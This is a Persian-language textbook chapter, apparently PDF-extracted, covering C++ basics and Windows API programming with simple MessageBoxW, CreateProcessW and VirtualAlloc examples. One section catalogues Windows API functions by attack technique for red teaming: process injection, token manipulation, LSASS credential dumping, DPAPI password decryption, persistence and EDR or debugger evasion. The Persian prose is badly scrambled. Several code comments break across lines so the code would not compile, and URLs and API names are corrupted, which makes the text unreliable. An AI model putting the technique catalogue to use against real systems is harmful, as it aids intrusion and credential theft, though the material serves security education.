7 .RAII – ءیمنابع با طول عمر ش تیرمدی 

هوشمند،  گرهایاشاره توسط — زندیگره م ءیمنابع را به طول عمر ش تیریکه مد ++C یالگو کی

 .شودیها و ... استفاده مmutex ها،لیفا
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#include <iostream> 

#include <fstream> 

 

void writeFile() { 
    std::ofstream file("example.txt");  // opens file 
    if (file.is_open()) { 
        file << "Writing to file...\n"; 
    }  // file is automatically closed when it goes out 

of scope 
} 
 

int main() { 
    writeFile(); 
    return 0; 
}  

 :حیتوض

 std::ofstream لیفا ( را در سازنده باز و در مخربdestructorم )بنددی. 

 یبه فراخوان یازین close() نای — دیندار RAII .در عمل است 

 شدت در الگو به نیاC++  وwrapperیها API شودیاستفاده م ندوزیو. 

 std::vector :(STL). کتابخانه قالب استاندارد 8

#include <iostream> 

#include <vector> 

 

int main() { 
    std::vector<int> numbers = {1, 2, 3}; 
 

    numbers.push_back(4);  // add an element 
 

    for (int n : numbers) { 
        std::cout << n << " "; 
    } 
    std::cout << std::endl; 
 

    return 0; 
}  

 :حیتوض

 std::vector<T> اندازه است. رییقابل تغ یاهیآرا 

 push_backکندی: عناصر را اضافه م. 

 خودکار حافظه. تیریاست اما با مد هیآرا هیشب 
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 یهاتمیخام بوده و با الگور یگرهااز اشاره ترمنیا STL .سازگار است 

 ::stdدرباره  یینها نکات

 از — ++Cاستاندارد در کتابخانه  چیزهمه باً یاست. تقر« نام استاندارد یفضا» ی:: به معناstd شوندیپ

 قرار دارد. std درون —حافظه  تیریو مد هاتمیالگور نرها،یها، کانتگرفته تا رشته ی/خروجورودی

 :هامثال

 std::coutکنسول ی: خروج 

 std::cinکنسول ی: ورود 

 std::stringکلاس رشته : 

 std::vector, std::map, std::setنرهای: کانت 

 std::sort, std::findهاتمی: الگور 

 std::unique_ptr, std::shared_ptrهوشمند یگرها: اشاره 

 std::function, std::bindتابع ی: ابزارها 

 std::move, std::swap :ریمقاد کاریدست 

 std::thread, std::mutex :چند ریسمانی (Multithreading) 

 د؟یسی:: ننوstd دیخواهیم

 :دیسیبنو دیتوانیم

using namespace std;  

وضوح  ی:: براstdاز  شودیم هیتوص ندوز،یو و ستمیس یسینودر برنامه ژهیوبه ،یاحرفه کد نویسیدر  اما

  استفاده شود. یمنیو ا
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 چهارمفصل 

ا افزار بو توسعه نرم یسینوبرنامه

 ندوزیو یسینورابط برنامه
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 قرمز تیم و نفوذ تست برای Windows API توابع

 (Process & Thread Manipulation) نخ و پردازش مدیریت
 کاربرد API تابع

CreateProcess / CreateProcessW دیپردازش جد کی یاجرا 

OpenProcess  هندل به پردازش هدف کیگرفتن 

GetCurrentProcessId / GetCurrentThreadId ( بازگرداندن شناسهID پردازش )ینخ جار ای 

VirtualAllocEx  پردازش از راه دور کیاختصاص حافظه در 

WriteProcessMemory  نوشتنshellcode ریمس ای DLL  کیدر 
 گریپردازش د

CreateRemoteThread (کیکلاس قی)تزر گرید ینخ در پردازش یاجرا 

NtCreateThreadEx اغلب دور زدن  نییساخت نخ در سطح پا(
hook)ها 

QueueUserAPC یاجرا یبندزمان payload صورتبه APC  در

 نخ دوردست

SuspendThread / ResumeThread یهاکیاستفاده در تکن hollowing شیربا ای 
 نخ

 (Token & Privilege Manipulation) یتوکن و دسترس تیریمد
 کاربرد API تابع

OpenProcessToken یک دسترسی توکن به هندل یک گرفتن 
 پردازش

LookupPrivilegeValue دریافت LUID خاص دسترسی سطح یک برای 

AdjustTokenPrivileges مثلاً) هادسترسی کردن غیرفعال یا فعال :
SeDebugPrivilege) 

ImpersonateLoggedOnUser دیگر کاربر امنیتی هویت تحت کد اجرای 

DuplicateTokenEx موجود توکن یک از برداریکپی 

LogonUser بمناس) توکن دریافت و کاربر یک هویت احراز 
 (pivoting برای

 DLL (Memory & DLL Injection)حافظه و  قیتزر
 کاربرد API تابع

LoadLibraryA / LoadLibraryW بارگذاری DLL جاری پردازش در 

GetProcAddress از تابع یک آدرس دریافت DLL 
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LdrLoadDll  در(ntdll) دستی بارگذاری DLL پنهان صورتبه 

NtMapViewOfSection در استفاده hollowing نگاشت و PE حافظه در 

NtUnmapViewOfSection جدید نگاشت برای قبلی نگاشت حذف 

RtlCreateUserThread جایگزین CreateRemoteThread برای 
 تزریق

SetThreadContext / GetThreadContext در مورداستفاده hollowing تزریق هایتکنیک و 

 سنتی

 EDR (Stealth & Anti-EDR)و ضد  سازیپنهان
 کاربرد API تابع

NtQueryInformationProcess مثل اطلاعاتی نشت PEB، اجرا فرمان خط 

NtProtectVirtualMemory برای) حافظه دسترسی تغییر unhook 
 (کردن

NtReadVirtualMemory / 
NtWriteVirtualMemory 

 حافظه به پایین سطح دسترسی

EnumProcesses / CreateToolhelp23Snapshot هاپردازش لیست 

VirtualQueryEx دیگر پردازش حافظه ساختار بررسی 

ReadProcessMemory پارس برای مثلاً) هدف حافظه خواندن 
shellcode) 

GetModuleHandle پایه آدرس گرفتن DLL شده بارگذاری 

 (System & User Recon) کاربر و سیستم شناخت
 کاربرد API تابع

NetUserEnum / NetUserGetInfo دامنه یا لوکال کاربران لیست 

GetUserName / GetUserNameEx فعلی کاربر اطلاعات دریافت 

NetLocalGroupEnum محلی هایگروه لیست 

NetSessionEnum فعال هاینشست لیست 

WNetEnumResource شبکه اشتراکی منابع لیست 

GetComputerName میزبان نام دریافت 

GetAdaptersInfo / GetIpAddrTable شبکه تنظیمات شناسایی 

EnumServicesStatusEx هاآن وضعیت و هاسرویس لیست 

RegOpenKeyEx / RegQueryValueEx و پایداری برای) رجیستری به دسترسی 
 (پایش
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 (Credential Dumping) حساس اطلاعات استخراج
 کاربرد API تابع

LSAGetLogonSessionData از هانشست اطلاعات استخراج LSASS 

LsaEnumerateLogonSessions کاربری هاینشست لیست گرفتن 

LsaRetrievePrivateData محرمانه هایداده استخراج LSA (به نیاز 
 (بالا دسترسی

CryptUnprotectData هایداده رمزگشایی DPAPI (رمزهای مثل 
Chrome) 

OpenProcess + ReadProcessMemory از اطلاعات استخراج LSASS دستی صورتبه 

MiniDumpWriteDump از حافظه دامپ ایجاد LSASS دسترسی با 
 دیباگ

 (Persistence / Service Abuse) هاسرویس از سوءاستفاده و ماندگاری
 کاربرد API تابع

CreateService / StartService سطح افزایش یا ماندگاری برای استفاده 
 دسترسی

ChangeServiceConfig موجود سرویس پیکربندی تغییر 

RegisterScheduledTask ساخت job ماندگاری برای شده بندیزمان 

RegSetValueEx ماندگاری برای رجیستری از استفاده 

ShellExecuteEx / WinExec طریق از دستورات اجرای COM یا Shell 

 NT Native (Uncommon/Stealthier NT Native Functions)و پنهان  نپایی سطح توابع
 توضیح API تابع

NtCreateSection در استفاده hollowing نگاشت و payload 
NtSetContextThread کنترل context (پنهان تزریق برای) نخ 

NtOpenThreadToken نخ توکن به مخفیانه دسترسی 

NtCreateUserProcess برای جایگزینی CreateProcess، در استفاده 
mapping دستی 
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 Windows APIاز توابع  ییهامثال

1 .MessageBox / MessageBoxW 

، OK)مثل  میقابل تنظ یهاساده )مودال( با متن، عنوان، و دکمه یاکادر محاوره کی MessageBox تابع

Yes/No از  یتابع بخش نی. اکندیم جادی( ارهیو غAPI User32 یبرا یکیاست و رابط گراف ندوزیدر و 

ند ک کیرا کل یادکمه اربرکه ک یبرنامه را تا زمان یتابع اجرا نی. اکندیهشدار دادن فراهم م ایتعامل 

 دهنده انتخاب کاربر است.که نشان گرداندیرا برم یاو شناسه کندیمتوقف م

. شودیهشدار دادن به کاربر استفاده م ای عیسر یکیگراف یهااعلان باگ،ید یعمل، معمولاً برا در

عنوان به ای ستمیس یجعل ینشان دادن هشدارها یبرا MessageBoxWاز  یدهندگان بدافزار گاهتوسعه

ممکن  زین قرمز یهامی. تکنندی( استفاده مpayloadدرست بار مخرب ) یاز اجرا نانیاطم یبرا« تست»

( از threadنخ ) جادیا ایکد  قیبودن تزر زیآمتیموفق یبررس یبرا خطریب هیعنوان بار اولاست از آن به

 راه دور استفاده کنند.

 یوگوگفت کی یصورت داخلو به کندیم یفراخوان ندوزیو یپنجره ریبه مد MessageBoxW ،یفن ازنظر

 wideگسترده ) یاز کاراکترها "W" ی. نسخهکندیم جادیا ندوزیو امیاستاندارد را با استفاده از حلقه پ

characters - wchar_tیجا*( به ANSI و  کدیونی یهارشته زا یبانیکه امکان پشت کندیاستفاده م

( نوع uTypeو پارامتر سبک ) ردیگیتابع تا چهار آرگومان م نی. اسازدیرا فراهم م یالمللنیب یمحتوا

 .کندیمشخص م MB_ICONERRORو  MB_OKمانند  یرا با استفاده از ثابت کونیدکمه و آ یکربندیپ

3 .CreateProcess / CreateProcessW 
 تواندیاست، که م دی( جدprocess) ندیفرا کی یاندازراه یبرا ندوزیدر و یاصل CreateProcess API تابع

 یطیمح یرهایخط فرمان و متغ یهاآرگومان ،یتیامن یهانهیزم ،یاندازراه یسفارش ماتیشامل تنظ

 ندیفرا ی( براhandles) ییهاو دسته کندیفرزند فراهم م ندیرفتار فرا یرو یقیتابع کنترل دق نیباشد. ا

ده استفاده گستر یها، از رشتهCreateProcessWآن،  کدیونی ی. نسخهدهدیآن ارائه م یو نخ اصل دیجد

 .کندیم

مخرب  یبارها عی( و توزlateral movement) یافق ییجاابزارها در زمان اجرا، جابه یاجرا یتابع برا نیا

مشروع با  یهابرنامه یراه دور، اجرا یهاستمیدر س ندیفرا جادیا یقرمز از آن برا یهامیاست. ت یاتیح

. بدافزارها اغلب از آن کنندیابزارها از حافظه استفاده م یاجرا ای(، LOLBASفرزند مخرب ) یندهایفرا

 ینیگزیمعلق و جا ندیفرا کی جادیا یعنی کنند؛ی( استفاده مprocess hollowing) ندیهمراه با پرُ کردن فرا

 اجرا. یریحافظه آن قبل از ازسرگ
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 PROCESS_INFORMATIONو  STARTUPINFOWمثل  ییساختارها CreateProcessW، صحنهپشت در

 ندوزیو یایاش ریدر مد ندیفرا جادیا یرا برا عاملسیستمسپس توابع هسته  کند،یم یرا مقدارده

(Windows Object Managerفراخوان )ندیفرا یطیتابع با بلوک مح نی. اکندیم ی (PEBزم ،)نخ، و  نهی

استفاده  CREATE_SUSPENDEDاز پرچم  توانیمعلق م ندیفرا جادیا یتعامل دارد. برا بار گذار ستمیرسیز

 کند. رییتغ یصورت دستنخ، حافظه به یاز اجرا شیکرد تا پ

2 .VirtualAlloc 
امکان  نی. ادهدیم صیتخص یجار ندیفرا یآدرس مجاز یبلوک حافظه را در فضا کی VirtualAlloc تابع

ح سطو ازجملهبه آن را ) یرزرو شود و نحوه دسترس دیکه با یاکه اندازه حافظه دهدیدهنده مرا به توسعه

 تواندیم بعتا نی( مشخص کند. اPAGE_EXECUTE_READWRITE ای PAGE_READWRITEحفاظت مثل 

حافظه را انجام  صیهم رزرو و هم تخص MEM_COMMITو  MEM_RESERVE یهابا استفاده از پرچم

 دهد.

حافظه  تیریاست. از آن در مد یتهاجم تیو امن نییسطح پا یسینوبرنامه یهاهیاز پا یکی API نیا

استفاده  DLL یبازتاب قی( در حافظه و انواع تزرPE) ییاجرا لی، نگاشت فاshellcode یبارگذار ،یسفارش

 قیبارها که بعداً از طر یبرا ییاجرا یاختصاص فضا یبرا VirtualAllocقرمز،  میت عملیات. در شودیم

 .رودیم به کاراجرا خواهند شد،  shellcode میمستق یاجرا ای( thread hijackingسرقت نخ )

 کندینگاشت م یمجاز یحافظه ریآدرس مد یصفحات حالت کاربر را در فضا VirtualAlloc ،یفن ازلحاظ

راستا ( همتیلوبایک 4)معمولاً  ستمیبا اندازه صفحه س شهی. صفحات همندیبا استفاده از جدول صفحات فرا

مثل  یو سطوح حفاظت دداده شو صیصراحت تخصبه نکهیمگر ا کندیتابع حافظه را صفر نم نیهستند. ا

PAGE_EXECUTE_READWRITE توسط  کنند،یکد را فراهم م یخواندن، نوشتن و اجرا یکه همخوان

 ییراستامه ،یاچندصفحه ینواح ی. براشوندیم ییشناسا shellcodeاستفاده در  لیبه دل EDR یهاسامانه

 است. یضرور یدسترس یاز خطاها یریجلوگ یحافظه و حفاظت بافر برا

4 .OpenProcess 
 یعملیاتو به شما امکان انجام  کندیم یابیموجود را باز ندی( به فراhandleدسته ) کی OpenProcess تابع

 دی. فراخوان بادهدیرا م یدرخواست اطلاعات داخل ایاجرا  تیوضع ریینوشتن حافظه، تغ ایمثل خواندن 

 ای PROCESS_VM_READ ،PROCESS_VM_WRITEرا مشخص کند، مانند  موردنیاز یهایدسترس

PROCESS_QUERY_INFORMATION. 

و  قیتزر یها(، چارچوبdebuggersزداها )حافظه، اشکال یاسکنرها یاصل یاز اجزا یکی API نیا

 explorer.exe ای notepad.exeمانند  ییندهایکردن فرا باز یقرمز اغلب از آن برا یهامیبدافزارها است. ت
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 لیتحل یبرا زین هاروسیویآنتمانند  یدفاع ی. ابزارهاکنندیاستفاده م هاآنبه  DLL ای shellcode قیو تزر

 .کنندیاستفاده م OpenProcessاز  دهایتهد یو بررس

را با استفاده از شناسه  ندیکرنل فرا ءشیتعامل دارد تا  ندوزیو یایاش ریبا مد OpenProcess ،یفن ازنظر

( سازگار نباشد، ACLهدف ) یتیامن توصیفگرشده با خواسته یهای( حل کند. اگر دسترسPIDپردازش )

مانند  یتوابع در توانیرا م یبازگشت یدسته ت،ی. در صورت موفقشودیتابع با شکست مواجه م

ReadProcessMemory ،WriteProcessMemory  وVirtualAllocEx درواقعدسته  نیاستفاده کرد. ا 

 است. EPROCESS_به ساختار کرنل  یگراشاره

5 .ReadProcessMemory 
 یرا با داشتن دسته یگرید ندیفرا یکه حافظه دهدیامکان م ندیفرا کیبه  ReadProcessMemory تابع

 خود ندیدر فرا یهدف و بافر ندیدر فرا یاهیدهنده آدرس پالازم بخواند. توسعه یهایمعتبر و دسترس

 .کندیم یحافظه را کپ ستمیو س کند،یمشخص م

و  یتقلب در باز ی(، موتورهاLSASSکردن  dumpها )مثل بدافزار، سرقت اعتبارنامه لیتحل یتابع برا نیا

 ستیتوکن، ل یایمانند اش ییساختارها یبررس یاز آن برا تواندیقرمز م میحافظه کاربرد دارد. ت یبررس

 یاریاز بس یبخش نیراه دور استفاده کند. همچن یندهایدر فرا شدهقیتزر shellcodeمناطق  ای ندهایفرا

 .کنندیم یآورجمع لیفا ختنیرا بدون ر یاحافظه یهانفوذ است که داده-ازپس یهااز چارچوب

 کندیم ی. بررسدهدیتماس با کرنل انجام م قیرا از طر ندهایفرا نیحافظه ب یکپ کی API نیا ،یفن ازنظر

فراخوان نگاشت  ندیصورت موقت در فراباشد، آن را به دسترسیقابلهدف  ندیکه آدرس مبدأ در فرا

 یرو PROCESS_VM_READتابع به  نی. اکندیم یشده توسط کاربر کپو سپس به بافر مشخص کندیم

ها رصد و سرقت اعتبارنامه یینقش آن در شناسا به دلیل EDR یهاسامانهدارد و اغلب توسط  ازیدسته ن

 .شودیم

6 .WriteProcessMemory 
 کی ینوشتن داده در حافظه یاست و برا ReadProcessMemoryمعادل  WriteProcessMemory تابع

و  PROCESS_VM_WRITE یمجوزها ازمندی. نشودیراه دور استفاده م ندیفرا

PROCESS_VM_OPERATION ایها مخرب، پچ یقرار دادن بارها یاست و اغلب برا shellcode یدر فضا 

 .شودیم تفادهاس گرید ندیآدرس فرا

پچ  ای یبازتاب DLL یبارگذار ند،یفرا قیتزر یسازادهیپ یتابع برا نیقرمز از ا یهامیبدافزار و ت سندگانینو

اختصاص فضا ابتدا و  یبرا VirtualAllocEx. معمولاً همراه با ندکنیکردن کد در زمان اجرا استفاده م
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شود، امکان  بیترک CreateRemoteThreadبا  ی. وقترودیم به کارکردن بار مخرب به هدف  یسپس کپ

 .شودیشده فراهم مراه دور بار نوشته یاجرا

مناسب نگاشت کند  یکه کرنل صفحه حافظه هدف را با مجوزها شودیباعث م API نی، اصحنهپشت در

 یهدف انجام دهد. برخ ندیفرا یفراخوان به حافظه ندیرا از بافر فرا یو سپس عمل نوشتن امن

ه شود ک تیشده هدانوشته دیجد هیکد به ناح یتا اجرا دهندیم ریینخ را تغ نهیبعداً زم هایسازادهیپ

 است. یمخف قیو تزر hollowing، code caves ندیاساس فرا

7 .NtQueryInformationProcess 
 کیدرباره  یقیاست که اطلاعات دق ندوزیدر و NT یداخل API کی NtQueryInformationProcess تابع

 .ییاجرا ریکامل تصو ریمس ای باگیوالد، پورت د ندی، شناسه فراPEBمثل آدرس  کند،یفراهم م ندیفرا

دور زدن  یبرا باغل نیبنابرا ست،ین Win32مستند  APIاز  یقرار دارد و بخش ntdll.dllتابع در  نیا

 .شودیاستاندارد استفاده م یتیامن یهانظارت

. شودیاستفاده م ندهایفرا یانهیمخف یبازرس یبدافزار برا یقرمز و توسعه میطور گسترده در تبه API نیا

است  والد مشکوک ندیفرا ایهستند،  باگرید ریدر حال اجرا ز ایکنند آ یبررس توانندیمثال، ابزارها م یبرا

از حافظه. چون کمتر از  میمستق رتصوبه یطیخط فرمان و بلوک مح یابیباز یبرا ای(، sandbox)کشف 

APIیها Win32  توسطEDRشودیانتخاب م یکارپنهان لیاغلب به دلا شود،یها رصد م. 

( ندوزیبسته به نسخه و syscall 0x26)مثل  یستمیفراخوان س قیکرنل از طر تابع با نیا ،یسطح داخل در

. هنگام درخواست دهدیرا درخواست م EPROCESS_و ساختار  کندیارتباط برقرار م

ProcessBasicInformationگر به که شامل اشاره کندیرا پر م ی، ساختارPEB استوالد  ندیو شناسه فرا .

، RTL_USER_PROCESS_PARAMETERSحافظه مانند  یساختارها ماًیمستق توانندیابزارها م ازآنجا

 سطح بالا. یهاAPI شپای کردن فعال بدون —کنند  شیمایرا پ گریو موارد د بارگذاری شده یهاماژول

8 .IsDebuggerPresent 
 رباگیتحت د یجار ندیفرا ایآ کندیم یاست که بررس ندوزیساده در و API کی IsDebuggerPresent تابع

 کی ،یداخل ازنظر. ریخ ایوصل است  باگرید دهدیکه نشان م گرداندیبازم ینه. مقدار بول ای شودیاجرا م

 .خواندیرا م PEB( در ساختار BeingDebugged) تیبا

ده فاتست نفوذ است یبدافزار و ابزارها ضد تحلیل یهاکیتکن ،یتجار یافزارهاتابع در محافظت از نرم نیا

 یبرخ ایکند  یفوراً خارج شود، رمزگذار true. بدافزار ممکن است در صورت بازگشت مقدار شودیم
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 تردهیچیپ یهازمیمکان به همراه ای sandbox صیاز تشخ یعنوان بخشکند. اغلب به رفعالیرا غ هاتیقابل

 .شودیاستفاده م باگیضد د

 offsetدر  تیطور خاص بابه کند،یم دایپ یدسترس PEBبه ساختار  IsDebuggerPresent ،یفن ازنظر

0x2 یستمیتابع فراخوان س نیاست. چون ا 1برابر  باگریدر صورت حضور د تیبا نی. اهیاز آدرس پا 

 ییباگرهای. دستو دور زدن ا تشخیصقابل یآسانبه یاست ول نهیهزو کم عیسر اریبس کند،یاستفاده نم

 دهند. رییتابع را تغ یخروج ایرا در زمان اجرا پچ کنند  لدیف نیا توانندیم x64dbgمانند 

9 .EnumWindows 
را فهرست  GUI طیدر مح سطح بالا یهااست که همه پنجره user32 یهاAPIاز  EnumWindows تابع

که امکان  شود،یم یفراخوان بارکیهر پنجره  یکه برا ردیگیم callbackتابع  کیتابع  نی. اکندیم

 .کندیمربوطه را فراهم م یندهایفرا ایها ها، عنواندسته پنجره یبازرس

ها و تعامل با پنجره افتنی یمشروع برا یافزارهاها و نرمخوانصفحه ،یرابط کاربر ونیتابع در اتوماس نیا

است: اگر عنوان پنجره با  دیمف لیتحل یهاطیمح ییشناسا یبرا ،یتهاجم تی. در امنشودیاستفاده م

“OllyDbg ”ای “IDA Pro ” است و خارج  لیتحل تحتمطابقت داشته باشد، برنامه ممکن است فرض کند

 کند. مبهم سازیخود را  ایشود 

( در Defaultو دسکتاپ ) window station (WinSta0) ءشی قیاز طر EnumWindows، صحنهپشت در

تابع به  نی. اکندیاستفاده م مشاهدهقابل یهاتمام پنجره یهاHWNDفهرست کردن  یبرا GUIنشست 

heap آن را با  توانیدارد و م یپنجره دسترس یداخل یبه ساختارها یدسترس یدسکتاپ برا

GetWindowThreadProcessId فهرست سازی نیکند. ا نییمالک هر پنجره را تع ندیکرد تا فرا بیترک 

 آن را متوقف کند. callback ایها پردازش شوند تا همه پنجره ابدییحلقه مسدودکننده ادامه م کیدر 

 (References) منابع
    MessageBox / MessageBoxW 

    https://learn.microsoft.com/en-us/windows/win23/api/winuser/nf-winuser-

messageboxw 

    CreateProcess / CreateProcessW 

    https://learn.microsoft.com/en-us/windows/win23/api/processthreadsapi/nf-

processthreadsapi-createprocessw 

    VirtualAlloc 

    https://learn.microsoft.com/en-us/windows/win23/api/memoryapi/nf-memoryapi-

virtualalloc 

https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxw
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxw
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxw
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
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    OpenProcess 

    https://learn.microsoft.com/en-us/windows/win23/api/processthreadsapi/nf-

processthreadsapi-openprocess 

    ReadProcessMemory 

    https://learn.microsoft.com/en-us/windows/win23/api/memoryapi/nf-memoryapi-

readprocessmemory 

    WriteProcessMemory 

    https://learn.microsoft.com/en-us/windows/win23/api/memoryapi/nf-memoryapi-

writeprocessmemory 

    NtQueryInformationProcess 

d8c1484e74cc2d745h.html#afefc8C_5%https://processhacker.sourceforge.io/doc/ntexapi

c5524fac999 

(Microsoft does not officially document this NTAPI. For reference, winternl.h defines 

it in the Windows SDK.) 

    IsDebuggerPresent 

    https://learn.microsoft.com/en-us/windows/win23/api/debugapi/nf-debugapi-

isdebuggerpresent 

    EnumWindows 

    https://learn.microsoft.com/en-us/windows/win23/api/winuser/nf-winuser-

enumwindows 

https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-readprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://processhacker.sourceforge.io/doc/ntexapi%5C_8h.html#afefc745d2cc74e1484c8d999fac5524c
https://processhacker.sourceforge.io/doc/ntexapi%5C_8h.html#afefc745d2cc74e1484c8d999fac5524c
https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent
https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent
https://learn.microsoft.com/en-us/windows/win32/api/debugapi/nf-debugapi-isdebuggerpresent
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumwindows
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 VirtualAllocو  MessageBox ،CreateProcessتوابع  - یعمل یهانمونه

 ندوزیدر و امیپ کی شینما — MessageBoxW: 1مثال 

#include <Windows.h>  // Required for Windows API 

functions 
 

int main() { 
    MessageBoxW( 
        NULL,                          // hWnd: No owner 

window (NULL) 
        L"Hello from WinAPI!",         // lpText: The 

message body 
        L"MessageBox Title",           // lpCaption: The 

title of the window 
        MB_OK | MB_ICONINFORMATION     // uType: Button 

style and icon type 
    ); 
    return 0; 
}  

 

 .(MessageBox) امیپنجره پ شیاجرا: نما جهینت - 1 ریتصو

 :حیتوض

  تابعMessageBoxW دهدیم شینما کدیونی یهابا استفاده از رشته امیپنجره پ کی. 

 شوندیپ L مثلاً قبل از رشته( هاL"Hello" )رشته از نوع  یعنیwchar_t.است * 

 MB_OK دکمه :OK کندیرا اضافه م. 

 MB_ICONINFORMATIONکندیاطلاعات را اضافه م کونی: آ. 
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 یکیبدون ساخت رابط گراف عیسر امیپ ای باگیهشدار، د شینما یروش ساده برا کی نیا 

 است.
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 (نوت پدبرنامه ) کی یاجرا — CreateProcessW: 2 مثال

#include <Windows.h> 

#include <iostream> 

 

int main() { 
    STARTUPINFOW si = { 0 };           // Startup 

configuration struct 
    PROCESS_INFORMATION pi = { 0 };    // Receives info 

about the created process 
 

    si.cb = sizeof(si);  // Required: set the size of 

the structure 
 

    LPCWSTR appName = 

L"C:\\Windows\\System32\\notepad.exe";  // Program to 

run 
 

    // Attempt to create the new process 
    BOOL success = CreateProcessW( 
        appName,        // Application name 
        NULL,           // Command line (optional) 
        NULL,           // Process security attributes 
        NULL,           // Thread security attributes 
        FALSE,          // Inherit handles? 
        0,              // Creation flags 
        NULL,           // Environment (inherit from 

parent) 
        NULL,           // Current directory (use 

parent’s) 
        &si,            // Pointer to STARTUPINFOW 

structure 
        &pi             // Pointer to 

PROCESS_INFORMATION structure 
    ); 
 
    if (success) { 
        std::wcout << L"Process created. PID: " << 

pi.dwProcessId << std::endl; 
        // Optionally wait for the process to exit  
        WaitForSingleObject(pi.hProcess, INFINITE); 
 

        // Clean up handles 
        CloseHandle(pi.hProcess); 
        CloseHandle(pi.hThread);  
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    } else { 
        std::wcerr << L"Failed to create process. Error: 

" << GetLastError() << std::endl; 
    } 
 

    return 0; 
} 

 

 .(CreateProcess) نوت پد یو اجرا جادیاجرا: ا جهینت -2 ریتصو

 :حیتوض

 STARTUPINFOWپنجره(. تیپردازش چگونه شروع شود )مثلاً وضع کندی: مشخص م 

 PROCESS_INFORMATION مثل  گرداندیرا برم ایجادشده: اطلاعات پردازش و نخ(PID.) 

 CreateProcessW ندوزیپردازش در و جادیتابع ا کدیونی: نسخه. 

 WaitForSingleObjectتمام شود. ایجادشدهتا پردازش  کندیرا متوقف م ینخ فعل ی: اجرا 

 CloseHandleتا نشت منابع رخ ندهد. کندیرا آزاد م یعاملستمیس یها: دسته 

 ستمیس یتست نفوذ، بدافزارها و لانچرها یپردازش است و در ابزارها جادیتابع اساس ا نیا 

 .شودیاستفاده م
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 یحافظه در پردازش فعل صیتخص — VirtualAlloc: 3 مثال

#include <Windows.h> 

#include <iostream> 

 

int main() { 
    SIZE_T size = 1024;  // Allocate 1 KB 
 

    LPVOID allocatedMem = VirtualAlloc( 
        NULL,   // Let Windows choose the address 
        size,   // Size of the allocation in bytes 
        MEM_COMMIT | MEM_RESERVE, // Reserve and commit  
        PAGE_READWRITE // Access rights: read + write 
    ); 
 

    if (allocatedMem) { 
        std::cout << "Memory allocated at: " << 

allocatedMem << std::endl; 
 

        // Free the memory once done 
        VirtualFree(allocatedMem, 0, MEM_RELEASE); 
    } else { 
        std::cerr << "Allocation failed. Error: " << 

GetLastError() << std::endl; 
    } 
 

    return 0; 
}  

 

 .(VirtualAlloc) حافظه صیاجرا: تخص جهینت-3 ریتصو

 :حیتوض

 VirtualAllocدهدیم صیتخص یپردازش فعل یآدرس مجاز ی: حافظه را در فضا. 

 MEM_RESERVE آدرس. یبخش از فضا کی: رزرو 

 MEM_COMMITآن بخش. یبرا یکیزی: اختصاص حافظه ف 

 PAGE_READWRITE خواندن و نوشتن.: امکان 

 VirtualFreeشدهداده صی: آزاد کردن حافظه تخص. 
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استفاده  وزندیو یتیامن قاتیدر تحق یو نگاشت حافظه سفارش قیکد، تزرشل یبارگذار یتابع برا نیا    

 .شودیم

 مستندات

۶ .MessageBoxW 
 :هدف

 مشخص. یهاکونیها/آبا متن، عنوان و دکمه امیپ کی شینما

Prototype: 
int MessageBoxW( 
  HWND    hWnd, 
  LPCWSTR lpText, 
  LPCWSTR lpCaption, 
  UINT    uType 

);  

 

 :پارامترها

 حیتوض نوع پارامتر

hWnd HWND ( هندل پنجره والدNULL )اگر نباشد 

lpText LPCWSTR امیمتن پ 

lpCaption LPCWSTR امیعنوان پ 

uType UINT هاکونیها و آسبک دکمه 

 :uTypeمتداول  ریمقاد

 MB_OK فقط دکمه :OK 

 MB_YESNO :یهادکمه Yes/No 
 MB_ICONINFORMATIONاطلاعات کونی: آ 

 MB_ICONERRORخطا کونی: آ 

 :یبازگشت مقدار

 (.رهیو غ IDOK ،IDYESدکمه فشرده شده است ) انگریعدد که ب کی

 :کدیونی ادداشتی

 MessageBoxW  است. کدیونینسخه 

 MessageBoxA  نسخهANSI .است 
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 MessageBox ودشیدو نگاشت م نیاز ا یکیپروژه به  ماتیاست که بسته به تنظ ییماکرو. 

 .باگید ایبا کاربر  عیاستفاده: تعامل سر موارد

3 .CreateProcessW 
 :هدف

 یاجرا رهیزنج ایها به پردازش قیها، تزربرنامه یاجرا یآن. برا یو نخ اصل دیپردازش جد کی جادیا

 .شودیها استفاده مبرنامه

Prototype: 
BOOL CreateProcessW( 
  LPCWSTR               lpApplicationName, 
  LPWSTR                lpCommandLine, 
  LPSECURITY_ATTRIBUTES lpProcessAttributes, 
  LPSECURITY_ATTRIBUTES lpThreadAttributes, 
  BOOL                  bInheritHandles, 
  DWORD                 dwCreationFlags, 
  LPVOID                lpEnvironment, 
